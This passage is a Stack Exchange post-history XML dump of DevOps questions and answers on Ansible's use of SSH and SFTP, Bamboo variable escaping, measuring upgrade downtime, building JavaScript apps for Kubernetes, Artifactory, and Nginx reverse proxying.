  <row Id="10175" PostHistoryTypeId="2" PostId="3242" RevisionGUID="fc2d2d08-49a0-4772-b2ba-d14d02b22f3f" CreationDate="2018-02-01T17:25:51.403" UserId="6328" Text="I am a little confused as to what is the protocol that Ansible uses for communication between  Controller node and Managed Remote nodes.&#xD;&#xA;&#xD;&#xA;I believed that it was &quot;SSH&quot; protocol.&#xD;&#xA;&#xD;&#xA;However, the official documentation mentions this&#xD;&#xA;&quot;On the managed nodes, you need a way to communicate, which is normally ssh. By default this uses sftp. If that’s not available, you can switch to scp in ansible.cfg&quot;&#xD;&#xA;&#xD;&#xA;I am a little confused as I used to believe SSH and SFTP and SCP are completely different protocol.&#xD;&#xA;AFAIK,&#xD;&#xA;SFTP is used to securely transfer files and SCP is for secure copy. This may be over SSH connection, but why would ansible use SFTP or SCP?&#xD;&#xA;&#xD;&#xA;Is it about transferring some files/python modules using these protocols?&#xD;&#xA;If yes, what files are getting transferred actually? &#xD;&#xA;&#xD;&#xA;Kindly Excuse me if this question sounded silly, nevertheless any elaborate response would be much appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="10176" PostHistoryTypeId="1" PostId="3242" RevisionGUID="fc2d2d08-49a0-4772-b2ba-d14d02b22f3f" CreationDate="2018-02-01T17:25:51.403" UserId="6328" Text="Ansible communication medium" ContentLicense="CC BY-SA 3.0" />
  <row Id="10177" PostHistoryTypeId="3" PostId="3242" RevisionGUID="fc2d2d08-49a0-4772-b2ba-d14d02b22f3f" CreationDate="2018-02-01T17:25:51.403" UserId="6328" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10178" PostHistoryTypeId="50" PostId="1877" RevisionGUID="68c6d59a-f115-4516-bb32-b6ce2d499a19" CreationDate="2018-02-01T17:53:45.847" UserId="-1" />
  <row Id="10179" PostHistoryTypeId="2" PostId="3243" RevisionGUID="a6ef2401-9a1f-4c00-84c2-53e89d8bcefe" CreationDate="2018-02-01T18:00:22.957" UserId="3509" Text="Yes, Ansible transfers packaged task file to remote host and executes it there. Still, the process can be different with pipelining mode.&#xD;&#xA;&#xD;&#xA;This is how task execution looks like in general (without pipelining):&#xD;&#xA;&#xD;&#xA;- Generate Python-file with module and its parameters for remote execution&#xD;&#xA;- Connect via SSH to detect remote user home directory&#xD;&#xA;- Connect via SSH to create temporary work directory&#xD;&#xA;- Connect via SSH to upload Python-file via SFTP&#xD;&#xA;- Connect via SSH to execute Python-file and cleanup temp dir&#xD;&#xA;- Get module's result from SSH standard output" ContentLicense="CC BY-SA 3.0" />
  <row Id="10180" PostHistoryTypeId="2" PostId="3244" RevisionGUID="d668140c-cf8e-4d06-8abb-13d6fc3a61f8" CreationDate="2018-02-01T19:46:52.203" UserId="707" Text="In Atlassian Bamboo, in script tasks you can use special Bamboo environment variables e.g. for current build number&#xD;&#xA;&#xD;&#xA;    ${bamboo.buildNumber}&#xD;&#xA;&#xD;&#xA;Now I have the impression if I have a code piece  like `${VAR}` which I want to pass to other context, Bamboo's templating logic will kick in and render this part as an empty string.&#xD;&#xA;&#xD;&#xA;Proof:&#xD;&#xA;&#xD;&#xA;    echo &quot;my foo ${VAR}!&quot;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    01-Feb-2018 20:47:58	my foo !&#xD;&#xA;&#xD;&#xA;Is there a way to escape curly braces in this context?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10181" PostHistoryTypeId="1" PostId="3244" RevisionGUID="d668140c-cf8e-4d06-8abb-13d6fc3a61f8" CreationDate="2018-02-01T19:46:52.203" UserId="707" Text="Escaping curly braces in Bamboo" ContentLicense="CC BY-SA 3.0" />
  <row Id="10182" PostHistoryTypeId="3" PostId="3244" RevisionGUID="d668140c-cf8e-4d06-8abb-13d6fc3a61f8" CreationDate="2018-02-01T19:46:52.203" UserId="707" Text="&lt;continuous-integration&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10183" PostHistoryTypeId="5" PostId="3244" RevisionGUID="4ac77bf8-3883-4684-bfb4-4a6da020a52c" CreationDate="2018-02-01T19:52:53.827" UserId="707" Comment="added 170 characters in body" Text="In Atlassian Bamboo, in script tasks you can use special Bamboo environment variables e.g. for current build number&#xD;&#xA;&#xD;&#xA;    ${bamboo.buildNumber}&#xD;&#xA;&#xD;&#xA;Now I have the impression if I have a code piece  like `${VAR}` which I want to pass to other context, Bamboo's templating logic will kick in and render this part as an empty string.&#xD;&#xA;&#xD;&#xA;Proof:&#xD;&#xA;&#xD;&#xA;    echo &quot;my foo ${VAR}!&quot;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    01-Feb-2018 20:47:58	my foo !&#xD;&#xA;&#xD;&#xA;Is there a way to escape curly braces in this context?&#xD;&#xA;&#xD;&#xA;What I have tried:&#xD;&#xA;&#xD;&#xA; - googling it: nope&#xD;&#xA; - `${{VAR}}` - bad substution error&#xD;&#xA; - `$\{VAR\}` leads to exactly same output as it escaped which I do not want to have either.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10184" PostHistoryTypeId="2" PostId="3245" RevisionGUID="9b70ff3a-b951-41e2-8852-e0157f4a04e5" CreationDate="2018-02-01T21:17:09.967" UserId="4328" Text="If your variable is **not** declared in Bamboo (either by injections, build/deploy variables etc.) it will **not** inject the variable and will use the string as is. As an example, my build plan has the following variables:&#xD;&#xA;&#xD;&#xA;    Variable Name    Value&#xD;&#xA;    version.major    1&#xD;&#xA;    version.minor    12&#xD;&#xA;&#xD;&#xA;In my build plan, I have the following script job:&#xD;&#xA;&#xD;&#xA;    echo &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;    echo &quot;${bamboo.major.version}&quot;&#xD;&#xA;    echo &quot;${bamboo.minor.version}&quot;&#xD;&#xA;In my logs, the output will be:&#xD;&#xA;&#xD;&#xA;&gt; C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo&#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 	C:\Users\Administrator\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; C:\Users\Administrator\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo &quot;12&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;12&quot;&#xD;&#xA;&#xD;&#xA;As long as your variables and namespaces are unique and descriptive for the plan you are working on, you should not have any issues with name conflicts." ContentLicense="CC BY-SA 3.0" />
  <row Id="10185" PostHistoryTypeId="5" PostId="3245" RevisionGUID="fe514b36-fd66-4248-8d54-ea36ac046272" CreationDate="2018-02-01T21:45:00.640" UserId="4328" Comment="deleted 10 characters in body" Text="If your variable is **not** declared in Bamboo (either by injections, build/deploy variables etc.) it will **not** inject the variable and will use the string as is. It should only render the variable as an empty string if that is the value you set for that particular variable. As an example, my build plan has the following variables:&#xD;&#xA;&#xD;&#xA;    Variable Name    Value&#xD;&#xA;    version.major    1&#xD;&#xA;    version.minor    12&#xD;&#xA;&#xD;&#xA;In my build plan, I have the following script job:&#xD;&#xA;&#xD;&#xA;    echo &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;    echo &quot;${bamboo.major.version}&quot;&#xD;&#xA;    echo &quot;${bamboo.minor.version}&quot;&#xD;&#xA;In my logs, the output will be:&#xD;&#xA;&#xD;&#xA;&gt; C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo&#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 	C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo &quot;12&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;12&quot;&#xD;&#xA;&#xD;&#xA;As long as your variables and namespaces are unique and descriptive for the plan you are working on, you should not have any issues with name conflicts. If it is replacing it with an empty string, my guess is that you may have that variable created somewhere in Bamboo, but no value assigned to it. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10186" PostHistoryTypeId="5" PostId="3245" RevisionGUID="4fb50b2e-a404-4e4e-aa53-baa0facd35cf" CreationDate="2018-02-01T21:57:19.240" UserId="4328" Comment="edited body" Text="If your variable is **not** declared in Bamboo (either by injections, build/deploy variables etc.) it will **not** inject the variable and will use the string as is. It should only render the variable as an empty string if that is the value you set for that particular variable. As an example, my build plan has the following variables:&#xD;&#xA;&#xD;&#xA;    Variable Name    Value&#xD;&#xA;    version.major    1&#xD;&#xA;    version.minor    12&#xD;&#xA;&#xD;&#xA;In my build plan, I have the following script job:&#xD;&#xA;&#xD;&#xA;    echo &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;    echo &quot;${bamboo.version.major}&quot;&#xD;&#xA;    echo &quot;${bamboo.version.minor}&quot;&#xD;&#xA;In my logs, the output will be:&#xD;&#xA;&#xD;&#xA;&gt; C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo&#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;${bamboo.substituteVar}&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; 	C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;1&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; C:\Users\TestUser\bamboo-home\xml-data\build-dir\12345678\MANG-TC-TBV&gt;echo &quot;12&quot;&#xD;&#xA;&gt; &#xD;&#xA;&gt; &quot;12&quot;&#xD;&#xA;&#xD;&#xA;As long as your variables and namespaces are unique and descriptive for the plan you are working on, you should not have any issues with name conflicts. If it is replacing it with an empty string, my guess is that you may have that variable created somewhere in Bamboo, but no value assigned to it. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10187" PostHistoryTypeId="2" PostId="3246" RevisionGUID="5bac67a7-d57f-41cf-b605-6dc281b3d576" CreationDate="2018-02-01T23:08:46.007" UserId="2845" Text="This is a great question as some of the terminology can be very confusing - particularly surrounding the (unfortunate) use of &quot;SFTP&quot; to describe multiple similar technologies.&#xD;&#xA;&#xD;&#xA;Will the real SFTP please stand up&#xD;&#xA;----------------------------------&#xD;&#xA;&#xD;&#xA;This comes mainly from the fact, that [RFC 913](https://tools.ietf.org/html/rfc913) defines one SFTP protocol, the &quot;[Simple File Transfer Protocol](https://en.wikipedia.org/wiki/File_Transfer_Protocol#Simple_File_Transfer_Protocol)&quot; which offers no encryption and went largely unadopted, with users favoring TFTP and FTP depending on their needed application. &#xD;&#xA;&#xD;&#xA;Since the [FTP](https://en.wikipedia.org/wiki/File_Transfer_Protocol#Simple_File_Transfer_Protocol) protocol, defined in [RFC 1738](https://tools.ietf.org/html/rfc1738) in 1985 is completely encrypted and packet sniffers are able to dumping plaintext passwords from this protocol, Some thought that it would be a good idea to secure this protocol by implementing FTP over an SSL connection. In [1997 a mechanism for doing that was released](https://en.wikipedia.org/wiki/FTPS#Explicit) in [RFC 2228](https://tools.ietf.org/html/rfc2228) which often was referred to as [SFTP](https://en.wikipedia.org/wiki/FTPS).&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Meanwhile, back at the ranch...&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;Meanwhile, a similar security issue was occurring around the telnet protocol - passwords and sensitive information were unencrypted and subject to sniffing. In response, [SSH-1 was released in 1995](https://en.wikipedia.org/wiki/Secure_Shell#Version_1.x) which provided an encrypted equivelent to telnet for use over network connections.&#xD;&#xA;&#xD;&#xA;This protocol became very popular very quickly and before a formal specification allowing for FTP over SSH was released, users of the SSH protocol had implemented a version of [BSDs rcp (remote copy)](https://en.wikipedia.org/wiki/Rlogin#rcp) over SSH. This protocol was extremely limited however, which led to a revision in SSH - SSH2 which added an SSH File Transfer Protocol (not to be confused with [FTP over SSH](https://en.wikipedia.org/wiki/File_Transfer_Protocol#FTP_over_SSH), *another* SFTP) because, according to wikipedia:&#xD;&#xA;&#xD;&#xA;&gt;Compared to the SCP protocol, which only allows file transfers, the SFTP protocol allows for a range of operations on remote files which make it more like a remote file system protocol. An SFTP client's extra capabilities include resuming interrupted transfers, directory listings, and remote file removal.&#xD;&#xA;&#xD;&#xA;And In fact, the IETF set up a working group to codify a formal standard for SSH-2 (released as [RFC 4251](https://tools.ietf.org/html/rfc4251)) but&#xD;&#xA;&#xD;&#xA;&gt;Eventually, development stalled as some committee members began to view SFTP as a file system protocol, not just a file access or file transfer protocol, which places it beyond the purview of the working group.&#xD;&#xA;&#xD;&#xA;And eventually [SSHFS](https://en.wikipedia.org/wiki/SSHFS) was released as just that.&#xD;&#xA;&#xD;&#xA;Conclusion&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;So the answer is a bit complicated.&#xD;&#xA;&#xD;&#xA;SSH and SFTP and SCP *could* be regarded as completely different protocols depending on *which* SFTP you are referring to and which version of the SSH protocol you are referring to. Yet, the command for actually doing a file transfer remained &quot;scp&quot; even after the SFTP and SSH-2 protocol was developed. If one is referring to SSH-2 however, these could arguably all be considered the *same* protocol.&#xD;&#xA;&#xD;&#xA;Side note: SSH was released by Tatu Ylönen of the Helsinki University of Technology in 1995. As [Linus Torvalds](https://en.wikipedia.org/wiki/Linus_Torvalds) released Linux in 1991 as a student at the University of Helsinki until 1996, it was kismet that SSH would be so popular and widely used in Linux." ContentLicense="CC BY-SA 3.0" />
  <row Id="10188" PostHistoryTypeId="2" PostId="3247" RevisionGUID="77227a27-ac45-459f-aa9e-58fad943e788" CreationDate="2018-02-02T08:24:00.007" UserId="4613" Text="I am deploying a microservices - based application using an orchestrator (Rancher specifically).&#xD;&#xA;&#xD;&#xA;During the service upgrade (when new images are being pulled and services re-discover one another), there is a small service outage.&#xD;&#xA;&#xD;&#xA;What is the best / recommended way to measure the downtime?&#xD;&#xA;&#xD;&#xA;I am performing e.g. a &#xD;&#xA;&#xD;&#xA;    watch -n1 'wget --spider http://some.endpoint.whoa'&#xD;&#xA;&#xD;&#xA;but I want to time the duration of e.g. `502` responses." ContentLicense="CC BY-SA 3.0" />
  <row Id="10189" PostHistoryTypeId="1" PostId="3247" RevisionGUID="77227a27-ac45-459f-aa9e-58fad943e788" CreationDate="2018-02-02T08:24:00.007" UserId="4613" Text="Measure service unavailability during upgrade" ContentLicense="CC BY-SA 3.0" />
  <row Id="10190" PostHistoryTypeId="3" PostId="3247" RevisionGUID="77227a27-ac45-459f-aa9e-58fad943e788" CreationDate="2018-02-02T08:24:00.007" UserId="4613" Text="&lt;microservices&gt;&lt;rancher&gt;&lt;upgrade&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10191" PostHistoryTypeId="2" PostId="3248" RevisionGUID="38cda9db-7979-4674-bef1-5df3c0643a58" CreationDate="2018-02-02T08:39:58.490" UserId="4007" Text="This comes up from time to time in several of our dev teams, without us having figured out the &quot;right&quot; way:&#xD;&#xA;&#xD;&#xA;We use a lot of react-based webapplications that &quot;compile&quot; into static websites that are just a few html, js and css files.&#xD;&#xA;&#xD;&#xA;However, the &quot;building&quot; of these apps take a number of variables that enable/disable feature flags, configure backend urls, etc.&#xD;&#xA;This means that we cannot &quot;build&quot; a binary in the traditional sense and just apply a config file at deploy-time - the &quot;build&quot; itself needs to have these environment-specific variables set, and thus the only time we can &quot;build&quot; is at deploy-time.&#xD;&#xA;&#xD;&#xA;For now we solve this by injecting the required environment variables into the Docker container and run a start cmd along the lines of&#xD;&#xA;&#xD;&#xA;    npm build &amp;&amp; nginx run&#xD;&#xA;&#xD;&#xA;This has a couple of disadvantages:&#xD;&#xA;1. The build process takes a _lot_ of cpu/memory relative to the run-time requirements of the container. That means we need to scale the container for the build process instead of the run-time requirements - which feels wrong&#xD;&#xA;2. Build failures are hard to &quot;track&quot;. We can use healthchecks in Kubernetes, but if a build takes 2 minutes we still have to wait for 3 mins (1 extra for safety) before we can start testing the containers healthCheck endpoint to see if its alive.&#xD;&#xA;&#xD;&#xA;This all feels very suboptimal to me. I'd be very interested in hearing how the community solves the &quot;build at deploy-time&quot; conundrum with modern javascript webapps." ContentLicense="CC BY-SA 3.0" />
  <row Id="10192" PostHistoryTypeId="1" PostId="3248" RevisionGUID="38cda9db-7979-4674-bef1-5df3c0643a58" CreationDate="2018-02-02T08:39:58.490" UserId="4007" Text="Strategy for deploying/hosting javascript-based static websites in containers (Kubernetes)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10193" PostHistoryTypeId="3" PostId="3248" RevisionGUID="38cda9db-7979-4674-bef1-5df3c0643a58" CreationDate="2018-02-02T08:39:58.490" UserId="4007" Text="&lt;docker&gt;&lt;deployment&gt;&lt;kubernetes&gt;&lt;javascript&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10194" PostHistoryTypeId="5" PostId="3244" RevisionGUID="1af904ce-effd-4958-a0b8-ba0ed8b49e3a" CreationDate="2018-02-02T09:24:19.410" UserId="707" Comment="added 473 characters in body" Text="In Atlassian Bamboo, in script tasks you can use special Bamboo environment variables e.g. for current build number&#xD;&#xA;&#xD;&#xA;    ${bamboo.buildNumber}&#xD;&#xA;&#xD;&#xA;Now I have the impression if I have a code piece  like `${VAR}` which I want to pass to other context, Bamboo's templating logic will kick in and render this part as an empty string.&#xD;&#xA;&#xD;&#xA;Proof:&#xD;&#xA;&#xD;&#xA;    echo &quot;my foo ${VAR}!&quot;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    01-Feb-2018 20:47:58	my foo !&#xD;&#xA;&#xD;&#xA;Is there a way to escape curly braces in this context?&#xD;&#xA;&#xD;&#xA;What I have tried:&#xD;&#xA;&#xD;&#xA; - googling it: nope&#xD;&#xA; - `${{VAR}}` - bad substution error&#xD;&#xA; - `$\{VAR\}` leads to exactly same output as it escaped which I do not want to have either.&#xD;&#xA;&#xD;&#xA;*UPDATE from comments* - making sure there is no existing variable being just empty.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Input:&#xD;&#xA;&#xD;&#xA;    echo &quot;my foo random ${RANDOM_VAR_ABCFOO}!&quot;&#xD;&#xA;    echo &quot;my foo random with prefix ${bamboo.RANDOM_VAR_ABCFOO}!&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;*Bamboo 5.13.1* &#xD;&#xA;&#xD;&#xA;    02-Feb-2018 10:26:11	my foo random !&#xD;&#xA;    02-Feb-2018 10:26:11	/home/bambooagent/temp/FOO-JOB1-4-ScriptBuildTask-3130782940072218698.sh: 2: /home/bambooagent/temp/FOO-JOB1-4-ScriptBuildTask-3130782940072218698.sh: Bad substitution&#xD;&#xA;&#xD;&#xA;*Bamboo 6.3.0*&#xD;&#xA;&#xD;&#xA;    02-Feb-2018 10:22:02	my foo random !&#xD;&#xA;    02-Feb-2018 10:22:02	/data/bamboo-agent/temp/FOO-JOB1-24-ScriptBuildTask-7913400670965638044.sh: line 2: my foo random with prefix ${bamboo.RANDOM_VAR_ABCFOO}!: bad substitution&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10195" PostHistoryTypeId="2" PostId="3249" RevisionGUID="09489772-edfc-47f6-921b-3ab6a8438a99" CreationDate="2018-02-02T10:25:43.593" UserId="13" Text="I don't know the inner of bamboo, but I assume it works like a bash script.&#xD;&#xA;&#xD;&#xA;What happens is that variables are replaced before execution, in bash that would be `echo &quot;echo $VAR&quot; &gt; test.sh` and test.sh will only contain &quot;echo&quot; because VAR is replaced by it's value before the command is executed.  &#xD;&#xA;If you want test.sh to contain `echo $VAR` you have to tell bash to ignore the replacement on the first call by escaping the $ sign:&#xD;&#xA;&#xD;&#xA;`echo &quot;echo \$var&quot; &gt; test.sh` will give `echo  $VAR` in the file.&#xD;&#xA;&#xD;&#xA;In the same note, the notation `${VAR}` and `$VAR` are the same, using braces is a good practice when you do concatenation like in `echo &quot;Size is ${VAR}Kb&quot;` as without the braces like this `$VARKb` bash would try to find a variable named `VARKb` and return an empty value." ContentLicense="CC BY-SA 3.0" />
  <row Id="10196" PostHistoryTypeId="5" PostId="3249" RevisionGUID="0254f299-07e1-4fef-9ddb-391e8bb29575" CreationDate="2018-02-02T10:31:08.177" UserId="13" Comment="added 411 characters in body" Text="I don't know the inner of bamboo, but I assume it works like a bash script.&#xD;&#xA;&#xD;&#xA;What happens is that variables are replaced before execution, in bash that would be `echo &quot;echo $VAR&quot; &gt; test.sh` and test.sh will only contain &quot;echo&quot; because VAR is replaced by it's value before the command is executed.  &#xD;&#xA;If you want test.sh to contain `echo $VAR` you have to tell bash to ignore the replacement on the first call by escaping the $ sign:&#xD;&#xA;&#xD;&#xA;`echo &quot;echo \$var&quot; &gt; test.sh` will give `echo  $VAR` in the file.&#xD;&#xA;&#xD;&#xA;In the same note, the notation `${VAR}` and `$VAR` are the same, using braces is a good practice when you do concatenation like in `echo &quot;Size is ${VAR}Kb&quot;` as without the braces like this `$VARKb` bash would try to find a variable named `VARKb` and return an empty value.&#xD;&#xA;&#xD;&#xA;To address PrestonM different behavior, I assume there's either&#xD;&#xA; - the fact running under windows with the powershell interpreter doesn't behave the same&#xD;&#xA; - or just that bamboo has a special case for variables prefixed with `bamboo.` and as such escape them.&#xD;&#xA;&#xD;&#xA;If someone want to test you may try:&#xD;&#xA;&#xD;&#xA;    echo &quot;${VAR}&quot;&#xD;&#xA;    echo &quot;${bamboo.VAR}&quot;&#xD;&#xA;    echo &quot;\${VAR}&quot;&#xD;&#xA;&#xD;&#xA;and edit the results in this answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="10201" PostHistoryTypeId="5" PostId="3248" RevisionGUID="93144a99-8b39-4d15-8042-a4544a9b1cb7" CreationDate="2018-02-02T12:35:50.007" UserId="4007" Comment="wrote more words." Text="This comes up from time to time in several of our dev teams, without us having figured out the &quot;right&quot; way:&#xD;&#xA;&#xD;&#xA;We use a lot of react-based webapplications that &quot;compile&quot; into static websites that are just a few html, js and css files.&#xD;&#xA;&#xD;&#xA;However, the &quot;building&quot; of these apps take a number of variables that enable/disable feature flags, configure backend urls, etc.&#xD;&#xA;This means that we cannot &quot;build&quot; a binary in the traditional sense and just apply a config file at deploy-time - the &quot;build&quot; itself needs to have these environment-specific variables set, and thus the only time we can &quot;build&quot; is at deploy-time.&#xD;&#xA;&#xD;&#xA;For now we solve this by injecting the required environment variables into the Docker container and run a start cmd along the lines of&#xD;&#xA;&#xD;&#xA;    npm build &amp;&amp; nginx run&#xD;&#xA;&#xD;&#xA;This has a couple of disadvantages:&#xD;&#xA;&#xD;&#xA;1. The build process takes a _lot_ of cpu/memory relative to the run-time requirements of the container. That means we need to scale the container for the build process instead of the run-time requirements - which feels wrong&#xD;&#xA;2. Build failures are hard to &quot;track&quot;. We can use healthchecks in Kubernetes, but if a build takes 2 minutes we still have to wait for 3 mins (1 extra for safety) before we can start testing the container's healthcheck endpoint to see if its alive.&#xD;&#xA;3. Deployments might take a long time: If we configure Kubernetes to do a &quot;serial&quot; deployment, it will start each pod and wait for the &quot;initialDelay&quot; period of 2-3 minutes before starting the next. This means that we're easily looking at a 10-min deploy time if the deployment is scaled to 3-4 pods.&#xD;&#xA;&#xD;&#xA;This all feels very suboptimal to me. I'd be very interested in hearing how the community solves the &quot;build at deploy-time&quot; conundrum with modern javascript webapps.&#xD;&#xA;&#xD;&#xA;I realize that for Kubernetes we could use &quot;init-containers&quot; that perform the build, places the artiacts in persistent storage and then have the app containers simply pull from persistent storage during startup, but this still feels more like &quot;bypassing&quot; the problem than solving the root issue." ContentLicense="CC BY-SA 3.0" />
  <row Id="10202" PostHistoryTypeId="2" PostId="3251" RevisionGUID="ea236495-c5a6-463e-ac31-e26a847cd0cf" CreationDate="2018-02-02T13:13:04.110" UserId="2285" Text="From my standpoint the best approach would be to:&#xD;&#xA;&#xD;&#xA;1. Separate build process using Jenkins that would build NodeJS project into distribution and wrap it into Docker image&#xD;&#xA;2. Spin up Docker registry that would accumulate Docker images from Jenkins (this registry should be accessible from Kubernetes cluster)&#xD;&#xA;3. Move environment variables to Jenkins secrets or use separate tool to collect and combine configurations from external Git repo (we use Spring Cloud Config through REST API to collect json/yml definitions for every application in every environment)&#xD;&#xA;&#xD;&#xA;Using Jenkins you can configure continuous delivery system based on generic Pipelines. Possible flow would be:&#xD;&#xA;&#xD;&#xA;1. Developers finish their work in correspondence to GitFlow (latest Pull Request merged into Release branch)&#xD;&#xA;2. Webhook triggers Jenkins pipeline:&#xD;&#xA;    - Stage 1: collect environment definition&#xD;&#xA;    - Stage 2: build NodeJS app using npm&#xD;&#xA;    - Stage 3: build Nginx Docker image with distribution&#xD;&#xA;    - Stage 4: push Docker image to Docker registry&#xD;&#xA;    - Stage 5: deploy/update service in Kubernetes using standard definitions&#xD;&#xA;3. Notifications send in regard of results&#xD;&#xA;&#xD;&#xA;This process might be visualized using Rancher. I can answer your questions in chat." ContentLicense="CC BY-SA 3.0" />
  <row Id="10203" PostHistoryTypeId="50" PostId="1088" RevisionGUID="58cf78da-b628-4b8b-9ed0-874bf36b18bb" CreationDate="2018-02-02T14:18:08.923" UserId="-1" />
  <row Id="10204" PostHistoryTypeId="2" PostId="3252" RevisionGUID="ae427600-1d67-4055-b4e0-df89b98f7ee1" CreationDate="2018-02-02T16:21:56.113" UserId="6153" Text="We are setting up our source and build system in AWS.  we will have two persistent VMs hosting source and artifactory.  We have a bunch of compilers (a few Gigs) we want available via NFS, is this something that should be hosted in artifactory? &#xD;&#xA;&#xD;&#xA;I'm looking for the 'best practice' answer.  I can't find much info on the thought behind this so any links would be appreciated. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10205" PostHistoryTypeId="1" PostId="3252" RevisionGUID="ae427600-1d67-4055-b4e0-df89b98f7ee1" CreationDate="2018-02-02T16:21:56.113" UserId="6153" Text="Should compilers be kept in artifactory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10206" PostHistoryTypeId="3" PostId="3252" RevisionGUID="ae427600-1d67-4055-b4e0-df89b98f7ee1" CreationDate="2018-02-02T16:21:56.113" UserId="6153" Text="&lt;amazon-web-services&gt;&lt;builds&gt;&lt;artifacts&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10207" PostHistoryTypeId="2" PostId="3253" RevisionGUID="2462a4e5-bebc-49ab-bd82-bb051cd3f731" CreationDate="2018-02-02T17:35:51.303" UserId="4790" Text="I have two running docker containers:&#xD;&#xA;&#xD;&#xA; 1. A Docker container running Nginx that serves Angular app resource files that were copied into the Docker image on docker build&#xD;&#xA; 2. A Docker container that is an api that is current listening on port 5007 internally on the running container and 5007 externally on the host machine&#xD;&#xA;&#xD;&#xA;I am setting up a staging environment and the following external urls:&#xD;&#xA;&#xD;&#xA; - app.staging.mysite.com&#xD;&#xA; - account.staging.mysite.com&#xD;&#xA;&#xD;&#xA;app.staging.mysite.com hits port 80 and responds with the Angular app resources no problem.&#xD;&#xA;&#xD;&#xA;Now I want to get account.staging.mysite.com external API url request to hit my API Docker container listening on port 5007. Requests from account.staging.mysite.com will hit port 80 of the host machine. Nginx will receive the account.staging.mysite.com port 80 requests.&#xD;&#xA;&#xD;&#xA;Instead of serving my Angular app I would like to use Nginx to forward the request to port 5007 so the my Account API can response. So I have altered my Nginx config to the following:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    upstream accountstaging{&#xD;&#xA;        server 127.0.0.1:5007&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 80 default_server;&#xD;&#xA;    	listen [::]:80 default_server;&#xD;&#xA;    	server_name _;&#xD;&#xA;    &#xD;&#xA;        # Main&#xD;&#xA;        location / {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;            index  index.html index.htm;&#xD;&#xA;            try_files $uri$args $uri$args/ /index.html;&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;        error_page   500 502 503 504  /50x.html;&#xD;&#xA;        location = /50x.html {&#xD;&#xA;            root   /usr/share/nginx/html;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;    &#xD;&#xA;        listen 80;&#xD;&#xA;        server_name account.staging.mysite.com;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass         http://accountstaging;&#xD;&#xA;            proxy_redirect     off;&#xD;&#xA;            proxy_set_header   Host $host;&#xD;&#xA;            proxy_set_header   X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header   X-Forwarded-Host $server_name;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The thing that really 